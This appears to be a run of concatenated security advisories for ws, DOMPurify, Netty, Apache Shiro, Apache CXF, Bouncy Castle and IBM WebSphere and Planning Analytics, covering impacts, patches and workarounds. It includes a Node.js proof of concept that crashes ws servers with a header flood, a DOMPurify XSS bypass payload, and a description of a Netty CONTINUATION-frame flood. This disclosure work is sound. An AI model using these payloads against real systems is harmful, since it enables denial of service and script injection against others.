Impact
A request with a number of headers exceeding the[server.maxHeadersCount][] threshold could be used to crash a ws server.
Proof of concept
js const http = require('http'); const WebSocket = require('ws');
const wss = new WebSocket.Server({ port: 0 }, function () { const chars = "!#$%&'+-.0123456789abcdefghijklmnopqrstuvwxyz^|~".split(''); const headers = {}; let count = 0;
for (let i = 0; i < chars.length; i++) { if (count === 2000) break;
for (let j = 0; j < chars.length; j++) { const key = chars[i] + chars[j]; headers[key] = 'x';
if (++count === 2000) break; } }
headers.Connection = 'Upgrade'; headers.Upgrade = 'websocket'; headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ=='; headers['Sec-WebSocket-Version'] = '13';
const request = http.request({ headers: headers, host: '127.0.0.1', port: wss.address().port });
request.end(); });
Patches
The vulnerability was fixed in ws@8.17.1 (https://github.com/websockets/ws/commit/e55e5106f10fcbaac37cfa89759e4cc0d073a52c) and backported to ws@7.5.10 (https://github.com/websockets/ws/commit/22c28763234aa75a7e1b76f5c01c181260d7917f), ws@6.2.3 (https://github.com/websockets/ws/commit/eeb76d313e2a00dd5247ca3597bba7877d064a63), and ws@5.2.4 (https://github.com/websockets/ws/commit/4abd8f6de4b0b65ef80b3ff081989479ed93377e)
Workarounds
In vulnerable versions of ws, the issue can be mitigated in the following ways:
1. Reduce the maximum allowed length of the request headers using the [--max-http-header-size=size][] and/or the [maxHeaderSize][] options so that no more headers than the server.maxHeadersCount limit can be sent. 2. Set server.maxHeadersCount to 0 so that no limit is applied.
Credits
The vulnerability was reported by Ryan LaPointe in https://github.com/websockets/ws/issues/2230.
References
- https://github.com/websockets/ws/issues/2230 - https://github.com/websockets/ws/pull/2231
[--max-http-header-size=size]: https://nodejs.org/api/cli.html#--max-http-header-sizesize [maxHeaderSize]: https://nodejs.org/api/http.html#httpcreateserveroptions-requestlistener [server.maxHeadersCount]: https://nodejs.org/api/http.html#servermaxheaderscount
A flaw was found in the EventSource NPM Package. The description from the source states the following message: "Exposure of Sensitive Information to an Unauthorized Actor." This flaw allows an attacker to steal the user's credentials and then use the credentials to access the legitimate website.
An issue was discovered in Bouncy Castle Java Cryptography APIs before BC 1.78. When endpoint identification is enabled in the BCJSSE and an SSL socket is created without an explicit hostname (as happens with HttpsURLConnection), hostname verification could be performed against a DNS-resolved IP address in some situations, opening up a possibility of DNS poisoning.
https://www.bouncycastle.org/latestreleases.html
Node.js ip module is vulnerable to server-side request forgery, caused by a flaw with IP addresses are improperly categorized as globally routable via isPublic. By sending a specially crafted request, an attacker could exploit this vulnerability to conduct SSRF attack.
Impact
Authentication Bypass: A vulnerability exists in Apache Shiro that allows authentication bypass for static files when served from a case-insensitive filesystem (such as the default configuration on macOS or Windows).
The issue arises when Shiro's URL filters are configured with lower-case rules (a common default), but the underlying operating system treats mixed-case filenames as identical. An attacker can access protected static resources by varying the capitalization of the filename in the request (e.g., requesting /SECRET.TXT to bypass a rule for /secret.txt).
This issue specifically affects static file handling and does not impact dynamic resource paths that are case-sensitive.
Patches Users should upgrade to Apache Shiro 2.1.0 or later.
Important Configuration Note: Version 2.1.0 introduces a new configuration parameter to handle case-insensitivity, which must be enabled manually to resolve the issue:
shiro.ini: ini filterChainResolver.caseInsensitive = true Spring Boot (application.properties): properties shiro.caseInsensitive=true
Note: Apache Shiro 3.0.0 (upcoming) will enable this setting by default.
Workarounds Ensure that the filesystem hosting the application is case-sensitive (e.g., Linux/Unix). Manually configure all Shiro filter chains to handle all possible case variations of protected filenames (not recommended due to complexity).
Resources CVE-2026-23903 Mailing List Announcement OSS-Security List
There is no restriction on the amount of attachment headers that a message can contain when being deserialized by Apache CXF, which can lead to uncontrolled resource consumption or a denial of service attack. Users are recommended to upgrade to versions 4.2.2 or 4.1.7 or 3.6.12, which fix this issue by imposing a maximum default of 500 attachments per message.
url.Parse insufficiently validated the host/authority component and accepted some invalid URLs.
DOMPurify 3.1.3 through 3.3.1 and 2.5.3 through 2.5.8, fixed in commit 2726c74, contain a cross-site scripting vulnerability that allows attackers to bypass attribute sanitization by exploiting five missing rawtext elements (noscript, xmp, noembed, noframes, iframe) in the SAFEFORXML regex. Attackers can include payloads like </noscript><img src=x onerror=alert(1)> in attribute values to execute JavaScript when sanitized output is placed inside these unprotected rawtext contexts.
IBM WebSphere Application Server and WebSphere Application Server Liberty are vulnerable to a denial of service, caused by sending a specially-crafted request. A remote attacker could exploit this vulnerability to cause the server to consume memory resources.
IBM WebSphere Application Server 9.0, and 8.5 is affected by a remote code execution vulnerability in the SOAP/JMX connector.
CWE-121 stack-based buffer overflow (memory-safety) in the TM1 C++ OData engine, reachable from authenticated REST.
Summary A remote user can trigger a Denial of Service (DoS) against a Netty HTTP/2 server by sending a flood of CONTINUATION frames. The server's lack of a limit on the number of CONTINUATION frames, combined with a bypass of existing size-based mitigations using zero-byte frames, allows an user to cause excessive CPU consumption with minimal bandwidth, rendering the server unresponsive.
Details The vulnerability exists in Netty's DefaultHttp2FrameReader. When an HTTP/2 HEADERS frame is received without the ENDHEADERS flag, the server expects one or more subsequent CONTINUATION frames. However, the implementation does not enforce a limit on the count of these CONTINUATION frames.
The key issue is located in codec-http2/src/main/java/io/netty/handler/codec/http2/DefaultHttp2FrameReader.java. The verifyContinuationFrame() method checks for stream association but fails to implement a frame count limit.
Any user can exploit this by sending a stream of CONTINUATION frames with a zero-byte payload. While Netty has a maxHeaderListSize protection to limit the total size of headers, this check is never triggered by zero-byte frames. The logic effectively evaluates to maxHeaderListSize - 0 < currentSize, which will not trigger the limit until a non-zero byte is added. As a result, the server is forced to process an unlimited number of frames, consuming a CPU thread and monopolizing the connection.
codec-http2/src/main/java/io/netty/handler/codec/http2/DefaultHttp2FrameReader.java
verifyContinuationFrame() (lines 381-393) — No frame count check: java private void verifyContinuationFrame() throws Http2Exception { verifyAssociatedWithAStream(); if (headersContinuation == null) { throw connectionError(PROTOCOLERROR, "..."); } if (streamId != headersContinuation.getStreamId()) { throw connectionError(PROTOCOLERROR, "..."); } // NO frame count limit! }
HeadersBlockBuilder.addFragment() (lines 695-723) — Byte limit bypassed by 0-byte frames: java // Line 710-711: This check NEVER fires when len=0 if (headersDecoder.configuration().maxHeaderListSizeGoAway() - len < headerBlock.readableBytes()) { headerSizeExceeded(); // 10240 - 0 < 1 => FALSE always }
When len=0: maxGoAway - 0 < readableBytes → 10240 < 1 → FALSE. The byte limit is never triggered.
Impact This is a CPU-based Denial of Service (DoS). Any service using Netty's default HTTP/2 server implementation is impacted. An unauthenticated user can exhaust server CPU resources and block legitimate users, leading to service unavailability. The low bandwidth requirement for the attack makes it highly practical.
IBM Planning Analytics 2.0, and 2.1 could allow a remote authenticated attacker to execute arbitrary code due to a stack-based buffer overflow.
IBM Planning Analytics 2.0, and 2.1 could allow a remote attacker to read arbitrary host files and overwrite certain application files due to improper validation of file paths.
IBM Planning Analytics 2.0, and 2.1 could allow a remote attacker to traverse directories on the system. An attacker could send a specially crafted URL request containing "dot dot" sequences (/../) to write arbitrary files on the system.
IBM Planning Analytics 2.0, and 2.1 could allow a remote authenticated attacker to execute arbitrary JavaScript due to improper output encoding.
IBM Planning Analytics 2.0, and 2.1 could allow a remote authenticated attacker to delete folders and applications belonging to other users due to improper functional level access control.
IBM Planning Analytics 2.0, and 2.1 is vulnerable to stored cross-site scripting. This vulnerability allows an authenticated user to embed arbitrary JavaScript code in the Web UI thus altering the intended functionality potentially leading to credentials disclosure within a trusted session.
IBM Planning Analytics 2.0, and 2.1 could allow a remote attacker to gain unauthorized administrative access due to improper authentication.
IBM Planning Analytics 2.0, and 2.1 could allow a remote attacker to bypass authentication and escalate privileges due to improper validation of sub-requests.
Observable Timing Discrepancy vulnerability in Apache Shiro.
This issue affects Apache Shiro: from 1., 2. before 2.0.7.
Users are recommended to upgrade to version 2.0.7 or later, which fixes the issue.
Prior to Shiro 2.0.7, code paths for non-existent vs. existing users are different enough, that a brute-force attack may be able to tell, by timing the requests only, determine if the request failed because of a non-existent user vs. wrong password.
The most likely attack vector is a local attack only. Shiro security model
@node-oauth/oauth2-server is a module for implementing an OAuth2 server in Node.js. The token exchange path accepts RFC7636-invalid codeverifier values (including one-character strings) for S256 PKCE flows. Because short/weak verifiers are accepted and failed verifier attempts do not consume the authorization code, an attacker who intercepts an authorization code can brute-force codeverifier guesses online until token issuance succeeds.
Summary
Netty HTTP/2 max header size handling produces attack similar to HTTP/2 Rapid Reset.
Details
There is a setting in the http2 specification called SETTINGSMAXHEADERLISTSIZE. According to the RFC: “This advisory setting informs a peer of the maximum field section size that the sender is prepared to accept, in units of octets.”
When a client sends that setting to Netty, it appears that Netty will behave as follows:
- Read the request - Proxy the request to the origin - Attempt to produce a response - Create an exception while writing the headers for the response
Functionally, this should be similar to the http2 reset attack, but with a different on-the-wire signature.
Remediation
When speaking with clients, Netty should potentially treat this as “advisory” and ignore it. It would be best to ignore the SETTINGSMAXHEADERLISTSIZE setting from clients (or ignore it when sending to clients). According to the spec, a server does not need to honor this advisory setting, and it appears that other http/2 implementations ignore it when acting as a server.
Impact
This is a DDoS attack similar to the HTTP/2 Rapid Reset Attack.
Credit Jonathan Looney (Engineering, Netflix)
Contact Ashley Tolbert (Security, Netflix) - artolbert@netflix.com
IBM WebSphere Application Server 9.0 and 8.5 and IBM WebSphere Application Server - Liberty 17.0.0.3 through 26.0.0.6 are vulnerable to HTTP request smuggling. A remote attacker could smuggle a specially crafted request to the application server thereby allowing the attacker to bypass security controls, spoof identity, escalate privilege, and expose sensitive information.
IBM WebSphere Application Server 9.0, and 8.5 and IBM WebSphere Application Server - Liberty 17.0.0.3 through 26.0.0.6 are vulnerable to a denial of service, caused by sending a specially-crafted request. A remote attacker could exploit this vulnerability to cause the server to consume memory resources.
IBM WebSphere Application Server 9.0, and 8.5 and IBM WebSphere Application Server - Liberty 17.0.0.3 through 26.0.0.6 are vulnerable to a denial of service, caused by sending a specially-crafted request. A remote attacker could exploit this vulnerability to cause the server to consume memory resources.
IBM WebSphere Application Server - Liberty 17.0.0.3 through 26.0.0.6 is affected by an arbitrary file read vulnerability with the restConnector-2.0 feature enabled.
IBM WebSphere Application Server 9.0, and 8.5 and IBM WebSphere Application Server - Liberty 17.0.0.3 through 26.0.0.7 are vulnerable to a denial of service via a crafted HTTP request.
IBM WebSphere Application Server 8.5, and 9.0 and IBM WebSphere Application Server - Liberty 17.0.0.3 through 26.0.0.7 Traditional and Liberty could allow a remote attacker to bypass security constraints.